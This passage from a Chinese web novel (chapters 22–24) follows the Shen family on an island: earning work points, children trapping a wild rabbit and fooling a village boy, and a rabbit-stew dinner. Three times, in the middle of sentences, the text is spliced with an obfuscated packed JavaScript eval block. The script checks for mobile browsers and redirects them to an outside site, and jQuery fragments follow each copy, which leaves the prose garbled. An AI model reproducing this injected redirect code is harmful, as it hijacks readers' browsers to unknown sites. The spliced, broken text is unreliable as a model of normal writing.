沈德贵站在礁石上看着,手里的烟抽了一根又一根,眼睛一直跟着沈大帆转。 “这沈大帆,真是变了啊……”他自言自语地嘀咕了一句,又摇了摇头,把烟屁股扔在地上,用脚碾了碾。 旁边会计老李推了推眼镜,翻着工分本子,一脸不可思议:“大队长,沈大帆今天又是满工分,他们家男丁多,照这个干法,他们家欠的那些工分,月底就能还清了。这才几天啊,这速度也太快了。” 沈德贵没说话,眯着眼睛看着海面上那个忙碌的身影,不知道在想什么。过了好一会儿,他才慢悠悠地说了一句:“人嘛,总有想明白的时候。” 傍晚收工的时候,沈大帆带着三个儿子从海里上来。四个人浑身湿透,满身腥气,但精神头都很好。沈海生扛着工具走在前面,步子迈得大大的;沈冬生跟在后面,手里拎着绳子;沈富生走在最后,把散落的工具一件一件收拾好。 王秀莲和夏迎香、赵文英也收了工,从滩头上走过来。王秀莲手里还提着补好的渔网,整整齐齐地叠着,虽然补得不算多快,但每一处都结结实实的,针脚密得跟机器缝的似的。 一家人碰了头,谁也没多说,闷着头往回走。 走到半路,碰见了阿珍婆。她看见赵文英,脸色一变,跟见了鬼似的,低着头快步走了过去,连个招呼都没打,脚步快得差点绊倒。她男人走在她旁边,还不知道发生了什么事,被她拽着胳膊,踉踉跄跄地跟着跑。 赵文英也不在意,跟没事人一样往前走,脸上的表情平平淡淡的。 夏迎香走在她旁边,忽然小声说:“文英,你今天可真厉害。那些话,不管是以前的夏迎香还是我,从来不敢说。” 赵文英笑了笑:“有啥不敢说的?咱们又不欠她们的,凭啥受她们的气?你越怕,人家越欺负你。今天把话说开了,你看她们以后还敢不敢嘴贱。这年头,谁比谁好过多少?她们有那闲工夫嚼舌根,不如多干点活挣工分。” 夏迎香点了点头,没再说话,但腰杆比出门的时候挺直了不少,步子也迈得稳稳当当的。 回到家里,佟娟儿已经把饭做好了——山药糊糊配海带汤,跟昨天一样,但热乎乎的,闻着就香。灶台上还摆着一碗蒸山药,是专门给几个小的留的。 一家人围坐在堂屋里吃晚饭。山药糊糊热乎乎的,喝下去胃里暖洋洋的;海带汤鲜甜鲜甜的,虽然是清汤寡水,但热热地喝下去,浑身都舒坦。每个人碗里的山药比昨天又多了一小块,是王秀莲特意多加的,今天大家都累了,得多吃点补补。 沈大帆喝着汤,把今天的工分算了一遍。他和三个儿子每人挣了十个工分,加起来四十个。王秀莲挣了六个,夏迎香和赵文英每人挣了八个,加起来二十二个。一天就是六十二个工分。 家里人口多的好处在这儿。照这个速度干下去,月底还清欠队里的工分不成问题,还能剩一些。沈大帆心里头算着账,眉头舒展了一些,不像前几天那样拧着了。 “明天接着干,”他说,把碗里的汤一口气喝完,“把欠的工分还清了,年底才能领口粮。加把劲,年底咱家也能分点粮食,不用再喝稀的了。” 一家人齐齐点头。沈铁蛋嘴里塞着山药,含含糊糊地说:“爷爷,我明天也去赶海,多捡点海蛎子回来,给家里添菜!” 沈铁柱也跟着说:“我也去!小姑姑说了,那边还有山药,明天我们再去挖!” 沈灵宝坐在王秀莲腿上,小口小口地喝着糊糊,听见侄子们的话,抬起头来,眼睛亮亮的,点了点头。 22. 到底有啥! 这天上午,日头正好,沈家的几个小子在院子里待不住了。 “奶奶,我们去后山捡柴火!”沈铁柱背着个破竹篓,站在院门口喊。沈铁蛋、沈石墩跟在后面,一人背着个小篓子,最小的沈木墩空着手,负责跟在后面跑腿。 几个小子一个比一个高,站在一起跟台阶似的,沈铁柱最高,沈铁蛋矮一点,沈石墩又矮一点,沈木墩最小,可往那一站,也比村里同龄的孩子高出小半个头。 王秀莲正在灶房里收拾最近几个孩子捡回来的海货,探出头来看了看天色:“别走远了,就在山脚底下捡,别往深处去。山里头有野物,不是闹着玩的。” “知道了奶奶!”沈铁柱拍着胸脯保证,声音洪亮得很。 沈灵宝坐在门槛上玩小海螺,听见说要上山,一下子站了起来,小跑过去拽住沈铁柱的衣角:“大侄,我也去!” 沈铁柱低头看着小姑姑,挠了挠头:“小姑姑,山上路不好走,你去了走不动。那山路坑坑洼洼的,到处都是树根子,你一摔跤可咋整?” “我走得动!”沈灵宝仰着小脸,眼睛亮晶晶的,小手攥着他的衣角不撒手,“我都好久没出过门了,天天在院子里坐着,闷死了。” 王秀莲从灶房里走出来,在围裙上擦了擦手,弯腰把沈灵宝拉回去:“灵宝乖,山上危险,你在家跟娘玩,等铁柱他们回来给你带野果子。山上那种野酸枣,红彤彤的,可好吃了。” 沈灵宝不依,小嘴一瘪,抱着王秀莲的腿不撒手,整个人挂在她腿上撒娇:“娘,我也想去嘛!我还没去过山上呢!我会乖乖的,不乱跑!我保证!” 王秀莲被她缠得没法子,正要再劝,沈冬生从堂屋里出来了。他今天在家修那艘烂舢板,没去上工,正打算去后山找几根合适的木料。他腰上别着斧头,手里拎着锯子,裤腿卷到膝盖以上,露出一截精壮的小腿。 “娘,我带他们去吧。”沈冬生把工具别在腰上,拍了拍手上的木屑,“我正好要去后山找木料修船,顺道看着孩子们。灵宝想去就让她去,我背着她,累不着她。” 王秀莲犹豫了一下,看了看小闺女那张可怜巴巴的小脸,又看了看沈冬生,终于点了头:“行吧,你看着点,别让孩子们往深处走。山上土湿路滑,小心着点。早点回来,别在山里头耽搁太久。” “知道了。”沈冬生弯腰把沈灵宝抱起来,让她骑在自己脖子上,“走喽!上山喽!” 沈灵宝骑在沈冬生肩上,两只小手抓着他的头发,笑得眼睛弯成月牙,露出两颗小虎牙:“二哥最好了!二哥最好了!” 沈铁柱、沈铁蛋、沈石墩背着竹篓跟在后面,沈木墩跑在最前头开路,一家人浩浩荡荡地往后山走。 后山是石螺岛的坟场,岛上祖祖辈辈都葬在这里,岛上平时来这儿的人少,也就沈大帆一家因为自己真正的祖宗都在另一个世界,所以来这儿毫无顾忌。 后山不高,树木倒是不矮。黑松、木麻黄、相思树混着长,林子密密匝匝的,从远处看黑压压一片。阳光从树叶缝里漏下来,在地上洒了一片片碎金,风一吹,光影晃来晃去的,跟水面上泛的光似的。 山路窄,两边都是灌木丛,树枝子时不时刮一下衣裳。地上的落叶积了厚厚一层,踩上去软绵绵的,沙沙作响。空气里弥漫着松针和腐叶的味道,潮乎乎的,带着一股子草木的清气。 沈冬生带着孩子们沿着山脚的小路往上走,一边走一边四处打量,找适合修船的木料。舢板底破了个洞,得找块结实耐泡的木板补上,还得找两根顺手的桨。他在一棵老相思树跟前停下来,敲了敲树干,听了听声音,摇了摇头,又往前走。 “二叔,我们去那边捡!”沈铁柱指着山坡上一片松树林,带着几个弟弟钻了进去。那片松树林子看着干净些,地上落了一层厚厚的松针,干松果到处都是,捡回去引火最好使。 沈家的几个小子,个头都比同龄孩子高一截。沈铁柱才九岁,已经快赶上人家十一二岁的孩子了,肩膀宽宽的,胳膊腿儿都壮实,往那一站跟个小牛犊子似的。最小的沈木墩才四岁,往那一站,跟岛上五六岁的孩子差不多高,虎头虎脑的,走路都带风。这是沈家的底子,沈大帆和几个儿子都是一米八多的个头,孙子们自然也差不到哪儿去。 原先在沈冬生背上的沈灵宝此时换到沈木墩的背上。二叔说了,小姑姑不能下地走,山路滑,摔着了可不行。沈木墩人虽小,力气却不小,背上的沈灵宝比他还大一岁,可他稳稳当当地走着,一点都不晃,小脸绷得紧紧的,跟办什么大事似的。 “木墩,你累不累?放我下来走吧。”沈灵宝趴在他背上,小手搂着他的脖子,脚丫子在他身子两边晃荡。 “不累!”沈木墩小脸绷得紧紧的,步子迈得又稳又扎实,眼睛盯着前头的路,生怕踩着什么不该踩的,“二叔说了,不能让小姑姑自己走。我背得动!小姑姑你抓好,别掉下去了。” 沈灵宝趴在他背上,看着两边的树往后退,小脸上全是笑。她伸手摘了一片树叶,在手里转着玩儿,嘴里哼哼唧唧的,也不知道在唱啥。 沈冬生走在前头,时不时回头看一眼孩子们,叮嘱道:“就在这片捡,别往里头走了。再往里就是深山了,林子密得很,有野物,危险。听见没有?” “知道了——”几个小子拖着长音答应,声音在林子里回荡。 可小孩子嘛,越是不让去的地方,越是心痒痒。 沈铁柱蹲在地上捡干树枝,眼睛却不住地往林子深处瞟。那边的树更密,黑黢黢的,枝枝丫丫交错在一起,把天都遮住了,看着就神秘。他听岛上其他孩子说过,后山深处有野兔子、山鸡,还有人见过獐子。越想,铁柱嘴里越泛口水,恍惚间仿佛已经闻到了那些野味的香,烤得焦黄的兔子肉,滋滋冒油的野鸡腿…… 他以前听爷爷讲过家里的往事。爷爷小时候也是因为逃荒,才来到后来生活的村子。起初因为是外乡人,没有田地,就上山打猎填饱肚子。那时候山里的野物多,爷爷又是个有本事的,慢慢地攒下一些家底,在山下的村子里买了几亩地,这才把家业置办起来。 后来有了地,加上有了孩子要养活,爷爷便渐渐不再打猎了,专心种地过日子。倒是他爹沈海生,像是继承了爷爷的根骨,打猎尤其厉害。 沈海生从小就不爱在地里刨食,整日漫山遍野地跑,跟个野人似的。打猎是个危险的营生,正经有地种、有粮吃的人家,哪个当爹娘的舍得让儿子去干这个!可沈海生偏偏是个犟脾气,他爹能干,他为啥不能干!不让他干,他偏要干! 说来也怪,这个大儿子在其他事上脑子转不过弯,一碰上打猎,却格外活泛。什么野物的脚印、粪便、走过的痕迹,他一眼就能看出来。设陷阱、下套子、用弓弩,样样在行。这么多年猎到的越来越多,竟从没受过伤。加上孙子们出生后,家里从来没缺过肉,一个个长得结实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483535|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮实,比村里其他同龄的孩子强出不少。沈大帆和王秀莲也就渐渐由着他去了。 可惜后来闹了灾荒,加上衙门的人来抓壮丁去打仗,一家人才不得不出来逃荒。要不然,沈海生这会儿还在山里打猎呢。 沈铁柱心里头痒痒的,手里的干树枝也不香了。要是能逮只野味回去,全家人就能开荤了!奶奶炖的野味,那个香啊,光是想想口水就下来了。 “哥,那边是不是有野果子?”沈铁蛋突然凑过来,小声问,眼睛亮晶晶的,手指着林子深处一片灌木丛。他刚才好像看见那边有什么红彤彤的东西,一闪一闪的。 沈铁柱往沈冬生的方向看了一眼,二叔正蹲在一棵大树底下,拿斧头砍一根粗树枝,叮叮当当的,没注意他们这边。那根树枝又粗又硬,沈冬生砍了半天才砍进去一小半,额头上的汗都出来了。 “走,去看看。”沈铁柱一挥手,带着三个弟弟偷偷往林子深处溜。他把竹篓子往背上一紧,猫着腰,脚步放得轻轻的,跟做贼似的。 沈木墩背着沈灵宝,犹豫了一下:“大哥,二叔说不让去……” “就看看,不走远。”沈铁柱压低声音,回头看了他一眼,“你不想给小姑姑摘点野果子?刚才铁蛋说看见红彤彤的东西了,说不定是野酸枣,又酸又甜的,小姑姑肯定爱吃。” 沈木墩看了看背上的小姑姑,咬了咬牙,跟了上去。小姑姑好不容易出来一趟,给她摘点野果子也好。 沈灵宝趴在沈木墩背上,什么都没说,小手搂着他的脖子,安安静静的。 几个孩子蹑手蹑脚地往林子深处走,越走树越密,脚下的落叶踩上去沙沙响。阳光被树叶遮得严严实实,林子里暗了下来,空气里弥漫着一股潮湿的腐叶味,混着泥土的气息,凉飕飕的,比外头冷了不少。 沈铁蛋紧跟在沈铁柱后头,眼睛四处乱瞟,有点紧张:“哥,咱是不是走太远了?二叔找不着咱们该着急了。” “怕啥,”沈铁柱嘴上这么说,脚步却放慢了,也开始打量四周,“就在这儿附近看看,有果子就摘,没有就回去。” 他四处张望了一圈,除了树还是树,连个野果子的影子都没见着。林子越来越密,树枝子都伸到路中间来了,刮得衣裳哗哗响。他正想说“回去吧”,忽然听见身后传来一个细细的声音。 “铁柱。” 是沈灵宝。她趴在沈木墩背上,忽然抬起头,那双黑葡萄似的眼睛直直地盯着前方一片灌木丛,目光定定的,一动不动的。 “那边有东西。” 沈铁柱顺着她的目光看过去——那片灌木丛密得很,荆棘和藤蔓缠在一起,黑乎乎的一团,什么都看不见。风一吹,叶子沙沙响,灌木丛晃动了几下,又安静了。 “有啥?”沈铁柱压低了声音,心跳突然快了起来。 沈灵宝没说话,只是伸出一根手指,指了指那片灌木丛。她的手指头细细小小的,指尖白嫩嫩的,可那一下指过去,沈铁柱心里头莫名地咯噔了一下。 他往沈木墩身边靠了靠,把几个弟弟挡在身后,眼睛死死地盯着那片灌木丛。林子里安静得吓人,连鸟叫声都没有,只有风吹树叶的沙沙声和自己的心跳声,扑通扑通的,在耳朵里响。 “小姑姑,到底有啥啊?”沈铁蛋躲在沈铁柱背后,声音都有点发抖了,手攥着沈铁柱的衣裳,攥得紧紧的。 沈灵宝歪着头看了看那片灌木丛,忽然笑了。 23. 脸色一变! 沈灵宝指了指那片灌木丛,声音又轻又软:“就在里头,别出声。” 几个孩子顿时屏住呼吸,连大气都不敢喘。沈铁柱慢慢蹲下来,把背篓轻轻放在地上,从脚边捡了根粗树枝,握在手里,手心全是汗。他回头看了一眼几个弟弟,沈铁蛋瞪着眼睛,嘴巴闭得紧紧的;沈石墩蹲在他身后,两只手攥着衣裳下摆;沈木墩背着沈灵宝站在最后面,小脸绷得跟个小大人似的。 沈铁柱深吸一口气,慢慢拨开灌木丛的枝叶——枯枝子和荆棘刮得沙沙响,他的心也跟着扑通扑通地跳。 果然! 灌木丛深处,有个用干草和枯叶搭的窝,窝里头,一只灰褐色的大野兔蹲在那儿,耳朵竖得高高的,像两根天线似的,警惕地四处张望。它旁边还有几只小兔子,挤成一团,毛茸茸的,还没他拳头大,有的在拱来拱去,有的闭着眼睛缩在母兔子肚子底下。 大野兔显然察觉到不对劲,后腿绷紧了,随时准备蹿出去。 沈铁柱的心狂跳起来,手都在抖。他慢慢举起树枝,瞄准那只大兔子—— “哥,你打不准。”沈铁蛋突然凑过来,一把按住他的胳膊,急得脸都红了,压低声音说,“你这辈子都没打过猎,这一棍子下去,兔子早跑了!咱们得想个法子围住它,不能硬来。” 沈铁柱一愣,把手缩了回来。铁蛋说得对,他爹那一身打猎的本事,他一点都没学会。这一棍子下去,十有八九是打不着的,兔子一跑,啥都捞不着了。 几个孩子蹲在地上,脑袋凑在一起,嘀嘀咕咕地商量。沈铁蛋脑子活,先开口:“咱们得把出路都堵上。大哥你守那边,我守这边,石墩你把外套脱了,等兔子跑出来就往上罩。” “背篓也能用,”沈铁柱指了指地上的竹篓,“堵在出口那儿,兔子一钻进去就出不来了。” 沈石墩有些担心:“可是兔子又不傻,它能往背篓里钻吗?” 沈铁蛋嘿嘿一笑:“它不钻,咱们就把它赶进去。大哥从那边轰,我从这边拦,它只能往背篓那个方向跑。” 几个孩子分了工。沈铁蛋把自己的背篓拿过来,轻轻放在灌木丛的一个缺口处,篓口朝里,用树枝支着。沈石墩把外套脱下来,两只手抻开,准备当网用。沈铁柱举着树枝,守在另一个方向。沈木墩背着沈灵宝,站在最外面望风,小脸绷得紧紧的,眼睛四处乱转,生怕有人来。 “三、二、一——” 沈铁柱猛地一棍子砸进灌木丛! 大野兔受了惊,“噌”地一下从草窝里蹿出来,像一道灰色的闪电,直往沈铁蛋守的那个方向跑。沈铁蛋眼疾手快,一把掀起背篓,“啪”地扣下去—— “扣住了!扣住了!”他激动得声音都变了调,整个人扑在背篓上,死死压住,两条腿还在空中蹬了两下。 背篓里头“砰砰砰”地响,大野兔拼命挣扎,后腿蹬得篓子直晃,力气大得很,差点把背篓顶翻。沈铁柱赶紧冲过去,一屁股坐在背篓上,哥俩合力才把它压住。沈铁柱两只手按住篓口,沈铁蛋整个人趴在上面,脸都挤变形了,还在那儿喊:“压住了压住了!别让它跑了!” “还有小的!”沈石墩喊了一声,扔了外套就扑进灌木丛里。荆棘刮得他手背上全是红道子,他顾不上了,把几只小兔子一只一只地从草窝里捞出来。小兔子还没断奶,毛茸茸的,在他手心里瑟瑟发抖,有的闭着眼睛,有的蹬着小腿。 沈铁柱把背篓掀开一条缝,往里一看——好大一只灰兔子,少说也有三四斤,圆滚滚的,皮毛油光水滑的,在背篓里头缩成一团,后腿还在蹬。 “发了发了!”他激动得满脸通红,压着嗓子喊,“今晚有肉吃了!奶奶炖的兔子肉,那个香啊!” 沈铁蛋趴在背篓上,口水都快流下来了:“我要吃兔腿!大的那个!” “我要吃兔头!”沈石墩抱着几只小兔子,眼睛也亮了。 沈木墩背着沈灵宝,在旁边急得直跳脚:“我呢我呢?给我留点!” 几个孩子正高兴着,你一言我一语地分着兔肉,身后忽然传来一阵窸窸窣窣的脚步声,还有树枝被踩断的声音。 沈铁柱脸色一变,猛地把背篓往身后一藏,转过身去—— 陈小军带着两个小孩从树后面钻出来,眼睛滴溜溜地往他们这边看。那两个小孩一个是二狗,一个是毛蛋,都是村里出了名的跟屁虫。三个人身上背着竹篓,手里拿着镰刀,看样子是来山上捡柴火的。 “你们在这儿干啥?”陈小军一脸狐疑,目光在几个孩子身上转来转去,像只嗅到了肉味儿的狗。 沈铁柱心里咯噔一下,脸上却装作没事人一样,拍了拍手上的泥:“捡柴火呗,还能干啥。这山上除了柴火还有啥?” “捡柴火跑这么深?”陈小军不信,往前走了两步,脖子伸得老长,往他们身后张望,“你们刚才喊啥呢?我听见有人说‘扣住了’?还说什么今晚有肉吃?你们是不是抓到啥了?” 沈铁柱脑子转得飞快,正要开口,旁边的沈铁蛋已经抢了话头,一脸遗憾地摊开两手:“哎呀,别提了!我们刚才看见一只兔子!好大一只!就蹲在那边的草窝里,我们想抓来着,结果没抓住,让它跑了!那兔子跑得贼快,‘嗖’一下就没影了,我们追了半天,连根毛都没摸着!” 他说着,还指了指灌木丛的方向,指了指那个已经被翻得乱七八糟的草窝。 陈小军的眼睛一下子亮了起来,亮得跟灯泡似的,脖子伸得更长了,恨不得把脑袋伸进灌木丛里去:“兔子?在哪儿?多大?” “跑了呀,都说了跑了,”沈铁柱立马接过话茬,装出一副懊恼的样子,还跺了跺脚,“我们追了好一会儿,那兔子跑得贼快,一溜烟就钻进林子里了,连个影子都没见着。我们找了半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483536|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天都没找到,正打算回去了呢。” “就是就是,”沈石墩也跟着帮腔,把怀里的几只小兔子藏得更紧了,“那兔子精得很,一眨眼就没影了。我们几个找了一圈,啥也没找着。” 陈小军眼珠子转了转,看看灌木丛,又看看沈家的几个孩子,心里头的小算盘噼里啪啦地打了起来。兔子!那可是实实在在的肉!他们家已经好几个月没闻着肉味儿了,要是自己能抓着,带回家去,娘还不得高兴坏了?爹也能刮目相看! 他又看了看沈家那几个孩子——沈铁柱虽然比他高大半个头,但脑子不好使,连只兔子都抓不住;沈铁蛋就知道嘴皮子厉害;沈石墩和沈木墩更不用说了,两个小屁孩。就这帮人,能抓到兔子才怪呢! 他哪还有功夫跟沈铁柱他们纠缠,满脑子都是那只跑掉的兔子。可转念一想,这几个沈家的小子鬼精鬼精的,万一他们嘴上说跑了,其实还在这儿找呢?要是自己走了,他们转头又把兔子抓着了,那不就亏大了?不行,得赶紧把他们打发走,这片林子就是他的了。 “行了行了,你们几个赶紧走吧,”陈小军摆摆手,故作大方地说,下巴抬得老高,“这林子里头危险,你们家大人没跟来啊?别一会儿碰上野物,哭都来不及。你们沈家就你们几个小子,出了事谁管你们?” 他说完,又往灌木丛那边瞟了一眼,心里暗暗得意——沈铁柱这帮傻子,连只兔子都抓不住,白白让他捡了个便宜。等他们走了,自己带着人好好搜一圈,指不定那兔子就藏在哪个草窝里呢!到时候提着兔子回家,看谁还敢瞧不起他陈小军! “那我们走了啊。”沈铁柱嘴上应着,脚下却不动,背在身后的手悄悄给几个弟弟打了个手势——别急,慢慢走。 沈铁蛋会意,蹲下去假装系鞋带,顺手把地上那几只小兔子往怀里一揣,塞得严严实实的,又把外套搭在胳膊上,遮住了鼓鼓囊囊的胸口。沈石墩也蹲下来,假装整理鞋,把散落的干树枝捡了几根,装进背篓里。沈木墩背着沈灵宝,安安静静地站在最外边,一声不吭,小脸绷得跟块铁板似的。 陈小军哪有心思注意这些小动作,他的眼睛恨不得长到灌木丛里头去,嘴里还不耐烦地催:“快走快走!” 沈铁柱这才慢吞吞地背上背篓,背篓底下压着那只大兔子,沉甸甸的,压得他肩膀往下一沉。他赶紧稳住,装出一副累得不行的样子,拖着步子往外走。沈铁蛋跟在后面,怀里揣着小兔子,走得小心翼翼的,生怕兔子叫出声来。沈石墩和沈木墩跟在最后,几个人走得慢腾腾的,跟逛大街似的。 走出去没几步,就听见身后陈小军压着嗓子跟二狗和毛蛋说:“快快快!快搜!那只兔子肯定还在附近!你们俩去那边,我搜这边,别让沈家那帮傻子抢了先!谁先找着,兔腿归谁!” 二狗和毛蛋兴奋得直点头,三个人一头扎进灌木丛里,翻得沙沙响。 24. 我心虚呢! 几个孩子憋着笑,脚下的步子越走越快。走出老远,沈铁蛋凑到沈铁柱耳边,小声说:“哥,陈小军那个大傻子,还在那儿翻呢!你听见没有,哈哈哈——” “让他乐去,”沈铁柱咧嘴一笑,回头看了一眼,那片灌木丛已经被翻得乱七八糟的,陈小军的脑袋在里头一拱一拱的,跟个钻地的兔子似的,“等他找到天黑都找不着。说不定还能把咱们翻过的草窝再翻一遍,翻完了啥也没有,气得脸都绿了。” 沈石墩捂着嘴笑,笑得肩膀直抖:“哥,你刚才装得可真像,说‘跑了跑了’的时候,那个可惜劲儿,我都差点信了。” “那当然,”沈铁柱得意地拍了拍背篓,“要不怎么说你哥聪明呢?” 沈木墩背着沈灵宝走在最后面,忍不住回头看了一眼。林子那边,陈小军还在灌木丛里头翻呢,脑袋一拱一拱的,嘴里还在喊“这儿有没有”“那边看看”。沈木墩嘿嘿笑了两声,小声对背上的沈灵宝说:“小姑姑,那个傻子还在找呢。” 沈灵宝趴在他背上,小手搂着他的脖子,软软地说了一句:“他找不到的。” 走出老远,还能听见陈小军在后面翻灌木丛的声音,树枝子噼里啪啦地响,夹杂着他骂骂咧咧的声音:“咋啥也没有?明明看见兔子了……” 几个孩子头也不回地往外走,背篓底下那只大兔子安安稳稳地压着,怀里的小兔子毛茸茸地揣着,陈小军还在后头满林子翻草窝呢。 走到林子边缘的时候,沈冬生正站在一棵大树底下,手里拿着一根砍好的木料,翻来覆去地看着。他旁边还堆着几根粗细合适的树枝,是挑出来准备做船桨的。他听见脚步声,抬起头来,皱着眉头看过来。 “你们跑哪儿去了?”他的声音不大,但带着责怪,“我找了一圈没找着你们,不是说了别往深处走吗?这山上头几年还有人见过野猪,你们几个小身板,碰上了跑都跑不掉。” 沈铁柱心虚地低着头,不敢吭声,脚下不由自主地往沈冬生身后挪了挪,想把背篓藏起来。 沈灵宝从沈木墩背上探出头来,笑嘻嘻地说,声音又软又甜:“二哥,我们捡了好多好多柴火!你看,背篓都装满了!” 沈冬生看了她一眼,又看了看几个侄子那副做贼心虚的样子。沈铁柱低着头不敢看他,沈铁蛋两只手捂着胸口,跟揣了什么宝贝似的,沈石墩的衣裳搭在胳膊上,鼓鼓囊囊的,沈木墩背着沈灵宝,小脸绷得紧紧的,眼睛却亮得跟贼一样。他总觉得哪里不对劲,但当着孩子们的面,他也没多问,只是把那根木料扛在肩上,一手抱起沈灵宝。 “走吧,该回家了。你娘该着急了。” 几个孩子跟在后面,互相挤眉弄眼,笑得合不拢嘴。沈铁柱走在最后头,一只手扶着背篓,一只手捂着嘴,生怕笑出声来被二叔听见。沈铁蛋走在他旁边,怀里的小兔子拱了一下,他赶紧按住,脸上的笑怎么都压不下去。 回到家,沈铁柱把背篓往院子里一放,拉着沈冬生进了堂屋,把门关上,还插上了门闩。 “二叔,你看!”他把背篓翻过来,扒开上面盖着的干树枝和松针—— 一只大灰兔子! 兔子被压了一路,晕晕乎乎的,趴在背篓底下一动不动,肚子一起一伏的,还在喘气。 沈冬生眼睛都直了,手里的木料差点掉地上:“这……哪儿来的?” “山上抓的!”沈铁柱压低声音,激动得脸都红了,连说带比划地把在林子里的事儿说了一遍。说到怎么发现的、怎么围堵的、怎么扣住的,手舞足蹈的,跟演大戏似的。说到陈小军那副自以为捡了便宜的样子时,还学着他探头探脑、支走别人的模样,把沈冬生逗得又好气又好笑。 “你们几个——”沈冬生板起脸,想把语气放重些,可嘴角的笑意怎么都压不住,“不是说了不让往深处走吗?万一碰上野猪怎么办?你们几个小身板,够野猪塞牙缝的?你爹知道了不得收拾你们?” 几个孩子低下头,不敢吭声,但脸上的笑还在那儿挂着,一个比一个藏不住。 沈灵宝从门口探进头来,软软地喊了一声:“二哥……” 沈冬生看着她那张小脸,眼睛亮亮的,嘴角还沾着早上吃的山药糊糊,心一下子就软了。他叹了口气,摆摆手:“行了行了,下次不许了。这次是运气好,碰上的是兔子,要是碰上别的,你们哭都来不及。记住没有?” “记住了——”几个孩子齐声答应,拖长了调子,脸上的笑怎么都压不住。 沈铁蛋从怀里把那几只小兔子掏出来,小心翼翼地放在地上。小兔子还没睁眼,毛茸茸的,挤成一团,在地上拱来拱去,可爱得很。沈灵宝蹲下来,伸出小手摸了摸,小兔子在她手心里蹭了蹭,她笑得更甜了。 傍晚,沈大帆带着沈海生、沈富生从海上下工回来,一进院子就闻到了一股香味。 那股味儿浓得很,不是海带的腥味,也不是山药的甜味,是肉味儿!炖得烂烂的肉味儿!混着葱花的香气,一阵一阵地往鼻子里钻。 “什么味儿?”沈海生鼻子最灵,一进门就使劲嗅了嗅,眼睛一下子就亮了,声音都高了八度,“肉!是肉!谁家炖肉了?” 一家人围在灶房门口往里看——王秀莲蹲在灶台前,锅盖掀开一条缝,里头咕嘟咕嘟地炖着东西,热气腾腾地往外冒,香气一阵一阵地飘出来,勾得人肚子咕咕叫,沈铁蛋的肚子先叫了一声,响亮得很,把全家人都逗笑了。 “哪儿来的肉?”沈大帆问,目光在几个孩子脸上扫了一圈。 沈铁柱挺着胸脯站出来,下巴抬得高高的,得意洋洋地说:“爷爷,是我们抓的!在后山抓的!好大一只兔子!三四斤呢!我们几个围上去,我用棍子赶,铁蛋用背篓扣,石墩用衣裳罩,一下子就扣住了!” 他把今天的事儿又添油加醋地说了一遍,这回说得更夸张了,说那兔子跑得跟飞一样,说他们怎么英勇地扑上去,说陈小军怎么被他们骗得团团转,说到陈小军那副想看又看不到的样子时,学着他伸脖子瞪眼的模样,笑得前仰后合,把全家人都逗乐了。 沈大帆听完,看了沈冬生一眼。沈冬生赶紧说:“我已经训过他们了,下次不许往深处走了。我盯着他们,一个都不许去。” 沈大帆点了点头,没再说什么。他走到灶台前,低头看了看锅里——兔肉炖得烂烂的,骨头都酥了,汤里还加了几块山药和海带,山药炖得面面的,海带吸饱了肉汤,香味浓得能把人掀个跟头。 几只小兔子太小,王秀莲没舍得杀,用破布做了个窝养在院子里,说等养大了再说。沈灵宝蹲在窝旁边,小手轻轻地摸着小兔子,嘴里念叨着“快快长大,长大了就有肉吃了”,把一家人逗得又笑了一回。 “娘,兔子肉好吃不?”沈铁柱咽着口水问,眼睛直勾勾地盯着锅盖。 王秀莲笑了:“一会儿你自己尝尝不就知道了?去洗手去,一个个脏得跟泥猴似的。” 几个孩子一窝蜂地跑去洗手,你推我挤的,水花溅了一地。 天擦黑的时候,一家人围坐在堂屋里。桌上摆着一大盆兔肉炖山药海带,热气腾腾的,肉香混着山药和海带的鲜味,满屋子都是。盆里的汤浓得发白,面上飘着几滴油星子,山药块炖得面面的,海带丝吸饱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483537|201886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了汤汁,兔肉烂得筷子一夹就脱骨。 王秀莲先给沈灵宝盛了一碗,挑了几块最嫩的肉,是兔子身上最软的那个部位,用筷子夹碎了喂她。沈灵宝小口小口地吃着,眼睛亮亮的,小脸上全是满足,腮帮子鼓鼓的,嚼了半天才咽下去。 “好吃吗?”王秀莲问,用袖子给她擦了擦嘴角的油。 “好吃!”沈灵宝用力点头,伸出小手抓了一块肉塞到王秀莲嘴里,“娘也吃!” 一家人这才动筷子。沈铁柱抢了一块最大的兔腿,啃得满嘴流油,含含糊糊地说:“奶奶,这兔子肉真好吃!比海带好吃一百倍!不,一千倍!” “那当然,”王秀莲笑了,给他碗里又夹了一块,“肉跟海带能一样吗?海带是海里长的,兔子是山上跑的,那能一样吗?” 